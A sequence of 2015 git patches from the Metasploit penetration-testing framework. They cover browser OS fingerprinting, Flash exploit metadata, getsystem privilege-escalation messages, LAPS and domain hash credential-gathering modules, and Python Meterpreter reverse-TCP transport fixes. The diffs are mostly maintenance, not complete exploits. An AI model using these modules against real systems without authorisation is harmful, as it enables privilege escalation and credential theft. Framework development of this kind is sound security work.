cd688437ac302be0a10b18fa0350d1ec9a794a3f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 1 Jul 2015 15:02:22 -0500 Subject: [PATCH 0617/1013] Add support for Windows 10 for os.js Resolves #4248 --- data/js/detect/os.js | 1 + 1 file changed, 1 insertion(+) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index b1ad75db2b..ddd582d6ec 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -338,6 +338,7 @@ os_detect.getVersion = function(){ case "Windows NT 6.1": os_name = "Windows 7"; break; case "Windows NT 6.2": os_name = "Windows 8"; break; case "Windows NT 6.3": os_name = "Windows 8.1"; break; + case "Windows NT 10.0": os_name = "Windows 10"; break; } } if (version.match(/Linux/)) { From e7271e3c04bb1800c053af3238f16275e889480e Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 1 Jul 2015 16:04:54 -0500 Subject: [PATCH 0618/1013] Call the Meterpreter methods directly vs pollute the namespace --- lib/msf/core/handler/reverse_http.rb | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9102039e86..ac7cd83d32 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -2,7 +2,7 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'rex/payloads/meterpreter/uri_checksum' -require 'rex/post/meterpreter/packet' +require 'rex/post/meterpreter' require 'rex/parser/x509_certificate' require 'msf/core/payload/windows/verify_ssl' @@ -19,7 +19,6 @@ module ReverseHttp include Msf::Handler include Rex::Payloads::Meterpreter::UriChecksum include Msf::Payload::Windows::VerifySsl - include Rex::Post::Meterpreter # # Returns the string representation of the handler type @@ -258,15 +257,10 @@ protected # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that # was generated on the fly. This means we form a new session for each. - sum = uri_checksum_lookup(:connect) - new_uri = generate_uri_uuid(sum, uuid) + '/' - # This bit is going to need to be validated by the Ruby/MSF masters as I - # am not sure that this is the best way to get a TLV packet out from this - # handler. # Hurl a TLV back at the caller, and ignore the response - pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url') - pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri) + pkt = Rex::Post::Meterpreter::Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url') + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") resp.body = pkt.to_r when :init_python From a5ad56754feb5f237deed46172c42743dfc04a4a Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 2 Jul 2015 08:03:39 +1000 Subject: [PATCH 0619/1013] Use full namespace for PACKET_TYPE_RESPONSE --- lib/msf/core/handler/reverse_http.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index ac7cd83d32..b0bf70d9e5 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -259,7 +259,8 @@ protected # was generated on the fly. This means we form a new session for each. # Hurl a TLV back at the caller, and ignore the response - pkt = Rex::Post::Meterpreter::Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url') + pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, + 'core_patch_url') pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") resp.body = pkt.to_r From 482247771d951a941892e280dd9250de43b7fdcf Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 1 Jul 2015 18:06:25 -0500 Subject: [PATCH 0620/1013] Add a fingerprint for Windows 10 + IE11 --- data/js/detect/os.js | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index ddd582d6ec..a93197e53b 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -338,7 +338,6 @@ os_detect.getVersion = function(){ case "Windows NT 6.1": os_name = "Windows 7"; break; case "Windows NT 6.2": os_name = "Windows 8"; break; case "Windows NT 6.3": os_name = "Windows 8.1"; break; - case "Windows NT 10.0": os_name = "Windows 10"; break; } } if (version.match(/Linux/)) { @@ -974,6 +973,12 @@ os_detect.getVersion = function(){ os_name = "Windows 8"; os_sp = "SP0"; break; + case "1100": + // IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview + ua_version = "11.0"; + os_name = "Windows 10"; + os_sp = "SP0"; + break; default: unknown_fingerprint = version; break; From 93c74efb978fac40e2d76bce964234b9a1e02ed9 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 1 Jul 2015 18:43:22 -0500 Subject: [PATCH 0621/1013] Add Ubuntu as a tested target --- modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index 6670cf2351..123a3bdf3b 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -22,6 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160, Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466. + Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466. }, 'License' => MSF_LICENSE, 'Author' => From 3b9ba189f772ab149663dae9e4483278fd260356 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 1 Jul 2015 19:56:35 -0500 Subject: [PATCH 0622/1013] Add CVE-2015-3043 information --- modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index 123a3bdf3b..9f7824d750 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2015-3043'], ['CVE', '2015-3113'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'], ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'], @@ -67,8 +69,9 @@ class Metasploit3 < Msf::Exploit::Remote case target.name when 'Windows' return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161') + return true if ver =~ /^17\./ && Gem::Version.new(ver) != Gem::Version.new('17.0.0.169') when 'Linux' - return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') && Gem::Version.new(ver) != Gem::Version.new('11.2.202.457') end false From caddf545c48a7293f8ba9ed47f24d4b31129c34f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 1 Jul 2015 20:49:14 -0500 Subject: [PATCH 0623/1013] Make getsystem more verbose Resolves #4401 --- .../command_dispatcher/priv/elevate.rb | 63 ++++++++++++++----- 1 file changed, 49 insertions(+), 14 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb index 19c606f42f..2ed17dc21c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb @@ -17,17 +17,20 @@ class Console::CommandDispatcher::Priv::Elevate include Console::CommandDispatcher - ELEVATE_TECHNIQUE_NONE = -1 - ELEVATE_TECHNIQUE_ANY = 0 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 - ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 + ELEVATE_TECHNIQUE_NONE = -1 + ELEVATE_TECHNIQUE_ANY = 0 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 + ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 + + ELEVATE_TECHNIQUE_DESCRIPTION = + [ + "All techniques available", + "Service - Named Pipe Impersonation (In Memory/Admin)", + "Service - Named Pipe Impersonation (Dropper/Admin)", + "Service - Token Duplication (In Memory/Admin)" + ] - ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available", - "Service - Named Pipe Impersonation (In Memory/Admin)", - "Service - Named Pipe Impersonation (Dropper/Admin)", - "Service - Token Duplication (In Memory/Admin)" - ] # # List of supported commands. # @@ -45,6 +48,26 @@ class Console::CommandDispatcher::Priv::Elevate end + # + # Returns the description of the technique(s) + # + def translate_technique_index(index) + translation = '' + desc = ELEVATE_TECHNIQUE_DESCRIPTION.dup + desc.each {|e| e.gsub!(/^Service - /, '')} + + case index + when 0 + desc.shift + translation = desc + else + translation = [ ELEVATE_TECHNIQUE_DESCRIPTION[index] ] + end + + translation + end + + # # Attempt to elevate the meterpreter to that of local system. # @@ -73,17 +96,29 @@ class Console::CommandDispatcher::Priv::Elevate } if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length ) - print_error( "Technique '#{technique}' is out of range." ); + print_error( "Technique '#{technique}' is out of range." ) return false; end - result = client.priv.getsystem( technique ) + begin + result = client.priv.getsystem( technique ) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("#{e.message} The following was attempted:") + translate_technique_index(technique).each do |desc| + print_error(desc) + end + elog("#{e.class} #{e.message} (Technique: #{technique})\n#{e.backtrace * "\n"}") + return + end # got system? if result[0] - print_line( "...got system (via technique #{result[1]})." ); + print_line( "...got system via technique #{result[1]} (#{translate_technique_index(result[1]).first})." ) else - print_line( "...failed to get system." ); + print_line( "...failed to get system while attempting the following:" ) + translate_technique_index(technique).each do |desc| + print_error(desc) + end end return result From a17b27efce7df9f634a3c36c15a6059a43b87d3e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 1 Jul 2015 21:47:51 -0500 Subject: [PATCH 0624/1013] Update descriptions --- .../ui/console/command_dispatcher/priv/elevate.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb index 2ed17dc21c..18172d0416 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb @@ -26,9 +26,9 @@ class Console::CommandDispatcher::Priv::Elevate ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available", - "Service - Named Pipe Impersonation (In Memory/Admin)", - "Service - Named Pipe Impersonation (Dropper/Admin)", - "Service - Token Duplication (In Memory/Admin)" + "Named Pipe Impersonation (In Memory/Admin)", + "Named Pipe Impersonation (Dropper/Admin)", + "Token Duplication (In Memory/Admin)" ] # @@ -53,11 +53,10 @@ class Console::CommandDispatcher::Priv::Elevate # def translate_technique_index(index) translation = '' - desc = ELEVATE_TECHNIQUE_DESCRIPTION.dup - desc.each {|e| e.gsub!(/^Service - /, '')} case index when 0 + desc = ELEVATE_TECHNIQUE_DESCRIPTION.dup desc.shift translation = desc else From c4875a88219cc3b917246d17440b7d052b49848c Mon Sep 17 00:00:00 2001 From: root <void-in@users.noreply.github.com> Date: Thu, 2 Jul 2015 11:38:37 +0500 Subject: [PATCH 0625/1013] Change sysinfo to sys.config.sysinfo --- lib/msf/base/sessions/meterpreter.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index a389c66a9f..a2c031f93a 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -375,9 +375,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client :host => self, :workspace => wspace, :data => { - :name => sysinfo["Computer"], - :os => sysinfo["OS"], - :arch => sysinfo["Architecture"], + :name => sys.config.sysinfo["Computer"], + :os => sys.config.sysinfo["OS"], + :arch => sys.config.sysinfo["Architecture"], } }) From 8a3873d730bb16ba8c3eba4425a39878d0f41f1c Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Thu, 2 Jul 2015 09:53:08 +0100 Subject: [PATCH 0626/1013] Tweak filter to reduce empty results --- modules/post/windows/gather/credentials/enum_laps.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb index ccbe8dc996..c2d6e418dc 100644 --- a/modules/post/windows/gather/credentials/enum_laps.rb +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']), OptBool.new('STORE_DB', [true, 'Store file in loot.', false]), OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]), - OptString.new('FILTER', [true, 'Search filter.', '(objectCategory=Computer)']) + OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=Computer)(ms-MCS-AdmPwd=*))']) ], self.class) deregister_options('FIELDS') From dfa71a2b44baf9f5786b0a1e205f53ed0bc32e86 Mon Sep 17 00:00:00 2001 From: Josh Abraham <jabra@spl0it.org> Date: Thu, 2 Jul 2015 08:22:21 -0400 Subject: [PATCH 0627/1013] update to store creds using the new method --- .../scanner/smb/smb_enumusers_domain.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 250b2b9cf0..7a9a5fb1f7 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -154,13 +154,15 @@ class Metasploit3 < Msf::Auxiliary end print_good("#{ip} - Found user: #{comp_user}") - report_note( - :host => ip, - :proto => 'tcp', - :port => rport, - :type => 'smb_loggedin_users', - :data => { :user => comp_user }, - :update => :unique_data + credential_core = create_credential( + origin_type: :service, + address: ip, + port: rport, + service_name: 'smb', + protocol: 'tcp', + module_fullname: self.fullname, + workspace_id: myworkspace.id, + username: comp_user ) end From dbe239bc750cf5a921f018dbb6f284b7fac8dd76 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 2 Jul 2015 08:23:02 -0400 Subject: [PATCH 0628/1013] Pymet fix transport next and prev for one transport --- data/meterpreter/meterpreter.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 30aa8dba1b..99c76d38a7 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -715,8 +715,6 @@ class PythonMeterpreter(object): return time.time() > self.session_expiry_end def transport_change(self, new_transport=None): - if new_transport == self.transport: - return if new_transport is None: new_transport = self.transport_next() self.transport.deactivate() @@ -898,13 +896,19 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_transport_next(self, request, response): + new_transport = self.transport_next() + if new_transport == self.transport: + return ERROR_FAILURE, response self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - self.transport_change(self.transport_next()) + self.transport_change(new_transport) return None def _core_transport_prev(self, request, response): + new_transport = self.transport_prev() + if new_transport == self.transport: + return ERROR_FAILURE, response self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) - self.transport_change(self.transport_prev()) + self.transport_change(new_transport) return None def _core_transport_remove(self, request, response): From 6ab7c314de1d21ad2c9adfcdf588d83c2dccbd89 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 2 Jul 2015 08:33:11 -0400 Subject: [PATCH 0629/1013] Pymet fix reverse_tcp transport for IPv6 addresses --- data/meterpreter/meterpreter.py | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 99c76d38a7..c923e70d76 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -574,12 +574,7 @@ class TcpTransport(Transport): sock.close() def _activate(self): - if self.url.startswith('tcp:'): - family = socket.AF_INET - address, port = self.url[6:].split(':', 1) - else: - family = socket.AF_INET6 - address, port = self.url[7:].split(':', 1) + address, port = self.url[6:].rsplit(':', 1) port = int(port.rstrip('/')) timeout = max(self.communication_timeout, 30) if address in ('', '0.0.0.0', '::'): @@ -596,7 +591,10 @@ class TcpTransport(Transport): sock, _ = server_sock.accept() server_sock.close() else: - sock = socket.socket(family, socket.SOCK_STREAM) + if ':' in address: + sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) + else: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((address, port)) sock.settimeout(None) @@ -637,10 +635,7 @@ class TcpTransport(Transport): @classmethod def from_socket(cls, sock): - if sock.family == socket.AF_INET: - url = 'tcp://' - else: - url = 'tcp6://' + url = 'tcp://' address, port = sock.getsockname()[:2] # this will need to be changed if the bind stager ever supports binding to a specific address if not address in ('', '0.0.0.0', '::'): From 841fbddfc6f4a9e8c30015173537f04077f8c77a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Thu, 2 Jul 2015 11:51:53 -0400 Subject: [PATCH 0630/1013] Pymet fix packet polling interval --- data/meterpreter/meterpreter.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index c923e70d76..61aeb7db7d 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -463,14 +463,14 @@ class Transport(object): return True def get_packet(self): + self.communication_active = False try: pkt = self._get_packet() except: - self.communication_active = False return None + self.communication_last = time.time() if pkt: self.communication_active = True - self.communication_last = time.time() return pkt def send_packet(self, pkt): @@ -611,7 +611,7 @@ class TcpTransport(Transport): packet = None first = self._first_packet self._first_packet = False - if select.select([self.socket], [], [], max(self.communication_timeout, 0.5))[0]: + if select.select([self.socket], [], [], 0.5)[0]: packet = self.socket.recv(8) if len(packet) != 8: if first and len(packet) == 4: @@ -738,7 +738,7 @@ class PythonMeterpreter(object): def run(self): while self.running and not self.session_has_expired: request = None - should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 1) + should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 0.75) if should_get_packet: request = self.get_packet() if request: From 42daf4d38bd58114d661d3d0b3b5c9d2551b903b Mon Sep 17 00:00:00 2001 From: David Maloney <DMaloney@rapid7.com> Date: Thu, 2 Jul 2015 11:52:02 -0500 Subject: [PATCH 0631/1013] fix up ordering of pre-checks i hate early returns, but we need to bail out early if some of these checks fail MSP-12867 --- .../gather/credentials/domain_hashdump.rb | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 18f3f7487b..968258fb42 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -93,23 +93,18 @@ class Metasploit3 < Msf::Post def preconditions_met? - status = true - unless is_domain_controller? - print_error "This does not appear to be an AD Domain Controller" - status = false - end unless is_admin? print_error "This module requires Admin privs to run" - status = false + return false end - if is_uac_enabled? - print_error "This module requires UAC to be bypassed first" - status = false + unless is_domain_controller? + print_error "This does not appear to be an AD Domain Controller" + return false end unless session_compat? - status = false + return false end - return status + return true end def repair_ntds(path='') From 87e63257379b45953b2883c96ee6e0f79b7fbb33 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 12:10:21 -0500 Subject: [PATCH 0632/1013] Revert BAPv2 changes to framework/libraries/handlers --- lib/msf/core/exploit/http/server.rb | 6 ++-- lib/msf/core/exploit/tcp_server.rb | 6 ++-- lib/msf/core/handler/reverse_tcp.rb | 5 ++-- lib/msf/core/handler/reverse_tcp_double.rb | 28 ++++++++----------- .../core/handler/reverse_tcp_double_ssl.rb | 4 +-- lib/msf/ui/console/command_dispatcher/core.rb | 19 +++---------- modules/exploits/multi/handler.rb | 4 +-- 7 files changed, 23 insertions(+), 49 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index baae927866..6b58eb8a4a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -217,12 +217,10 @@ module Exploit::Remote::HttpServer print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - end + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != Msf::Exploit::Remote::BrowserAutopwnv2 + if opts['ServerHost'] == '0.0.0.0' print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 3a84cf38c9..771a1bad6b 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -47,9 +47,7 @@ module Exploit::Remote::TcpServer def exploit start_service() - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Server started.") - end + print_status("Server started.") # Call the exploit primer primer @@ -71,7 +69,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - print_status("Server stopped.") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Server stopped.") end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index dcfcd69983..ab0b30dd7e 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -108,9 +108,8 @@ module ReverseTcp else via = "" end - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Started reverse handler on #{ip}:#{local_port} #{via}") - end + + print_status("Started reverse handler on #{ip}:#{local_port} #{via}") break rescue ex = $! diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index 71d5673974..af0730f3c5 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -95,22 +95,16 @@ module ReverseTcpDouble sock_inp = nil sock_out = nil - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Started reverse double handler") - end + print_status("Started reverse double handler") begin # Accept two client connection begin client_a = self.listener_sock.accept - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Accepted the first client connection...") - end + print_status("Accepted the first client connection...") client_b = self.listener_sock.accept - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Accepted the second client connection...") - end + print_status("Accepted the second client connection...") rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -153,35 +147,35 @@ module ReverseTcpDouble print_status("Command: #{echo.strip}") - print_status("Writing to socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Writing to socket A") sock_a.put(echo) - print_status("Writing to socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Writing to socket B") sock_b.put(echo) - print_status("Reading from sockets...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Reading from sockets...") resp_a = '' resp_b = '' if (sock_a.has_read_data?(1)) - print_status("Reading from socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Reading from socket A") resp_a = sock_a.get_once print_status("A: #{resp_a.inspect}") end if (sock_b.has_read_data?(1)) - print_status("Reading from socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Reading from socket B") resp_b = sock_b.get_once print_status("B: #{resp_b.inspect}") end - print_status("Matching...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Matching...") if (resp_b.match(etag)) - print_status("A is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("A is input...") return sock_a, sock_b else - print_status("B is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("B is input...") return sock_b, sock_a end diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 6d7c89d913..d6650f5264 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -105,9 +105,7 @@ module ReverseTcpDoubleSSL via = "" end - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") - end + print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") break rescue ex = $! diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 91acdab3bb..6ce3e89de2 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1986,12 +1986,6 @@ class Core # Sets a name to a value in a context aware environment. # def cmd_set(*args) - # Special-case Browser AutoPwn because set payload can only set one payload, but BAP can - # do multiple. So let BAP handle this. - if args[0] && args[0].upcase == 'PAYLOAD' && active_module.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) && active_module.respond_to?(:set_payload) - active_module.set_payload - return - end # Figure out if these are global variables global = false @@ -2083,6 +2077,7 @@ class Core # at least 1 when tab completion has reached this stage since the command itself has been completed def cmd_set_tabs(str, words) + # A value has already been specified return [] if words.length > 2 @@ -3353,15 +3348,9 @@ class Core mod_opt = Serializer::ReadableText.dump_options(mod, ' ') print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) - # We have to special-case browser autopwn because BAP is an exploit module that allows having - # multiple payloads, but normally MSF can't do this, so it will have be handled by the BAP - # mixin. - # For other normal cases, if it's still an exploit and a payload is defined, then just go ahead - # create it, and then display the payload options. - if mod.exploit? and mod.kind_of?(Msf::Exploit::Remote::BrowserAutopwnv2) and mod.respond_to?(:show_payloads) - # #show_payloads should be defined by BrowserAutoPwn - mod.show_payloads - elsif (mod.exploit? and mod.datastore['PAYLOAD']) + # If it's an exploit and a payload is defined, create it and + # display the payload's options + if (mod.exploit? and mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD']) if (!p) diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 26cfb0529b..1c4f635b8e 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -49,9 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote end stime = Time.now.to_f - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status "Starting the payload handler..." - end + print_status "Starting the payload handler..." while(true) break if session_created? and datastore['ExitOnSession'] break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) ) From b9a83081384a0bb573e034d82bfa7ddaf0985486 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 2 Jul 2015 12:53:24 -0500 Subject: [PATCH 0633/1013] Replace BAP profiles with a framework-instance hash --- lib/msf/core/exploit/browser_autopwnv2.rb | 72 +++----- .../exploit/remote/browser_exploit_server.rb | 26 +-- .../exploit/remote/browser_profile_manager.rb | 66 ++------ .../remote/browser_profile_manager_spec.rb | 158 ------------------ 4 files changed, 53 insertions(+), 269 deletions(-) delete mode 100644 spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb 